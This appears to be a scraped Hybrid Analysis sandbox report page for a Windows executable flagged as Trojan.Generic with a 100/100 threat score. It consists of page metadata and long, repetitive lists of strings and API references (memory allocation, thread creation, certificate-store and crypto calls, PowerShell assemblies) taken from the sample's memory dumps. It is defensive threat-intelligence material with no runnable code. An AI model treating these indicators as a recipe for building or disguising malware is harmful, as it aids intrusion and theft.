34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 8c:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T4ca,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 84705a48cd1e… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 84705a48cd1e…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 21 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8"],"about":{"@type":"SoftwareApplication","name":"84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":12,"total":28},"behavioralIndicators":{"malicious":21,"suspicious":27},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T1118,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00007864.00000000.144909.46DB0000.00000004.mdmp, 00000000-00007864.00000001.145367.46DB0000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00007864.00000000.144909.46DB0000.00000004.mdmp, 00000000-00007864.00000001.145367.46DB0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00007864.00000000.144909.46DB0000.00000004.mdmp, 00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00007864.00000000.144909.46DB0000.00000004.mdmp, 00000000-00007864.00000000.144909.49040000.00000004.mdmp, 00000000-00007864.00000001.145367.46DB0000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "System.Management.Automation.resources, Version=3.0.0.0, Culture=en-US, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "# .ExternalHelp System.Management.Automation.dll-help.xml" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "[System.Management.Automation.PSCredential]" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Item', [System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Out-String',[System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput($inputScript, $cursorColumn," (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "[System.Management.Automation.Language.Ast] $ast," (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "[System.Management.Automation.Language.Token[]] $tokens," (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "[System.Management.Automation.Language.IScriptPosition] $positionOfCursor," (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput(" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "C:\Windows\System32\WindowsPowerShell\v1.0\System.Management.Automation.dll" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "System.Management.Automation.dll-Help.xml" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "System.Management.Automation.PSDriveInfo" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "System.Management.Automation.ApplicationInfo" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "System.Management.Automation.PSModuleInfo" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp") Found string "System.Management.Automation.CmdletInfo" (Source: "00000000-00007864.00000000.144909.49040000.00000004.mdmp")37:T51e,Found string "system.io.compression" (Source: "00000000-00007864.00000000.144909.1A9E0000.00000004.mdmp, 00000000-00007864.00000001.145367.1A9D0000.00000004.mdmp, 00000000-00007864.00000001.145367.1A9E0000.00000004.mdmp, 00000000-00007864.00000001.145367.1AB80000.00000004.mdmp") Found string "compressiontracingswitchlevel" (Source: "00000000-00007864.00000000.144909.1A9E0000.00000004.mdmp, 00000000-00007864.00000001.145367.1A9E0000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Source: "00000000-00007864.00000000.144909.67A4A000.00000002.mdmp") Found string "compressionmode" (Source: "00000000-00007864.00000001.145367.1A9D0000.00000004.mdmp, 00000000-00007864.00000001.145367.1AB80000.00000004.mdmp") Found string "decompressionmethods" (Source: "00000000-00007864.00000001.145367.1A9D0000.00000004.mdmp") Found string "compressionlevel" (Source: "00000000-00007864.00000001.145367.1A9D0000.00000004.mdmp, 00000000-00007864.00000001.145367.1AB80000.00000004.mdmp") Found string "compressionstrategy" (Source: "00000000-00007864.00000001.145367.1A9D0000.00000004.mdmp") Found string "compressionmethod" (Source: "00000000-00007864.00000001.145367.1A9D0000.00000004.mdmp") Found string "compressiontracingswitch" (Source: "00000000-00007864.00000001.145367.1A9E0000.00000004.mdmp")38:T462,Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "VirtualAlloc"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") file/memory contains long string with (Indicator: "VirtualFree"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00006104.00000001.145963.00100000.00000004.mdmp") file/memory contains long string with (Indicator: "VirtualFree"; Source: "00000000-00006104.00000002.147425.C9D88000.00000002.mdmp") Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00007864.00000000.144909.91822000.00000002.mdmp")39:T108e,"status= pluginpath= : unknown pc called from runtime: pid=level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameGetTempPath2WModule32NextWRtlGetVersioncrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeRegDeleteKeyWRegEnumValueWGetProcAddressuserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertOpenStore"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unexpected EOFOpenSCManagerWModule32FirstWunreachable: unsafe.Pointercrypto/fips140mime/multipartx509sha256skid on zero ValueRegSetValueExWGetProcessTimesDuplicateHandlecomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested s" (Indicator: "CertCloseStore"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unexpected EOFOpenSCManagerWModule32FirstWunreachable: unsafe.Pointercrypto/fips140mime/multipartx509sha256skid on zero ValueRegSetValueExWGetProcessTimesDuplicateHandlecomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested s" (Indicator: "CryptGenRandom"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersfile already existsfile does not existfile already closedfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: totalAlloc=runtime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesema" (Indicator: "CryptReleaseContext"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "Root rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsGetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllhttplaxcontentlengthx509usefallbackrootsnegative shift amountdataindependenttimingsystem goroutine wait/gc/heap/allocs:bytesruntime: work.nwait= previous allocCount=, levelBits[level] = runtime: searchIdx = profiler hash bucketsruntime: mappedReady=runtime: totalMapped=panic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionlink has been severedpackage not installedbl" (Indicator: "CertOpenSystemStoreW"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "Root rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsGetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllhttplaxcontentlengthx509usefallbackrootsnegative shift amountdataindependenttimingsystem goroutine wait/gc/heap/allocs:bytesruntime: work.nwait= previous allocCount=, levelBits[level] = runtime: searchIdx = profiler hash bucketsruntime: mappedReady=runtime: totalMapped=panic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionlink has been severedpackage not installedbl" (Indicator: "CryptAcquireContextW"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin") Found api reference "resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockexit hook invoked panicpattern bits too long: invalid argument to Intntracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockconnection reset" (Indicator: "CertGetCertificateChain"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid pattern syntax: goroutine profile cleanupGOMAXPROCS updater (idle)chansend: spurious wakeupruntime" (Indicator: "CertFreeCertificateChain"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "ackground sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=runtime: consistent value=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusSetFileInformationByHandleRtlNtStatusToDosErrorNoTebPageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertFreeCertificateContext"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorehttpservecontentkeepheadersGetFileInformationByHandleExGC mark assist wait for workcomparing uncomparable type regi" (Indicator: "CertEnumCertificatesInStore"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "on exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignalruntime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too largefile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextsync.WaitGroup.Wait (durable)executing on Go runtime stacknotesleep - waitm out of sync/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffruntime: p.g" (Indicator: "CertCreateCertificateContext"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy" not supported for cpu option "use of closed network connectioninitial table capacity too largeslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSp" (Indicator: "CertAddCertificateContextToStore"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy" not supported for cpu option "use of closed network connectioninitial table capacity too largeslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSp" (Indicator: "CertVerifyCertificateChainPolicy"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unexpected EOFOpenSCManagerWModule32FirstWunreachable: unsafe.Pointercrypto/fips140mime/multipartx509sha256skid on zero ValueRegSetValueExWGetProcessTimesDuplicateHandlecomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested" (Indicator: "CertCloseStore"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unexpected EOFOpenSCManagerWModule32FirstWunreachable: unsafe.Pointercrypto/fips140mime/multipartx509sha256skid on zero ValueRegSetValueExWGetProcessTimesDuplicateHandlecomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested" (Indicator: "CryptGenRandom"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersfile already existsfile does not existfile already closedfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: totalAlloc=runtime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesem" (Indicator: "CryptReleaseContext"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "Root rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsGetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllhttplaxcontentlengthx509usefallbackrootsnegative shift amountdataindependenttimingsystem goroutine wait/gc/heap/allocs:bytesruntime: work.nwait= previous allocCount= levelBits[level] = runtime: searchIdx = profiler hash bucketsruntime: mappedReady=runtime: totalMapped=panic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionlink has been severedpackage not installedb" (Indicator: "CertOpenSystemStoreW"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "Root rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsGetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllhttplaxcontentlengthx509usefallbackrootsnegative shift amountdataindependenttimingsystem goroutine wait/gc/heap/allocs:bytesruntime: work.nwait= previous allocCount= levelBits[level] = runtime: searchIdx = profiler hash bucketsruntime: mappedReady=runtime: totalMapped=panic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionlink has been severedpackage not installedb" (Indicator: "CryptAcquireContextW"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorehttpservecontentkeepheadersGetFileInformationByHandleExGC mark assist wait for workcomparing uncomparable type reg" (Indicator: "CertEnumCertificatesInStore"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "on exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignalruntime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too largefile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextsync.WaitGroup.Wait (durable)executing on Go runtime stacknotesleep - waitm out of sync/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffruntime: p." (Indicator: "CertCreateCertificateContext"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy" not supported for cpu option "use of closed network connectioninitial table capacity too largeslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mS" (Indicator: "CertAddCertificateContextToStore"; File: "84705a48cd1e868dc45ca6f42d565cf1c2a3c44def8fe25f7f15e5b3962bc5e8.bin"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy" not supported for cpu option "use of closed network connectioninitial table capacity too largeslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit 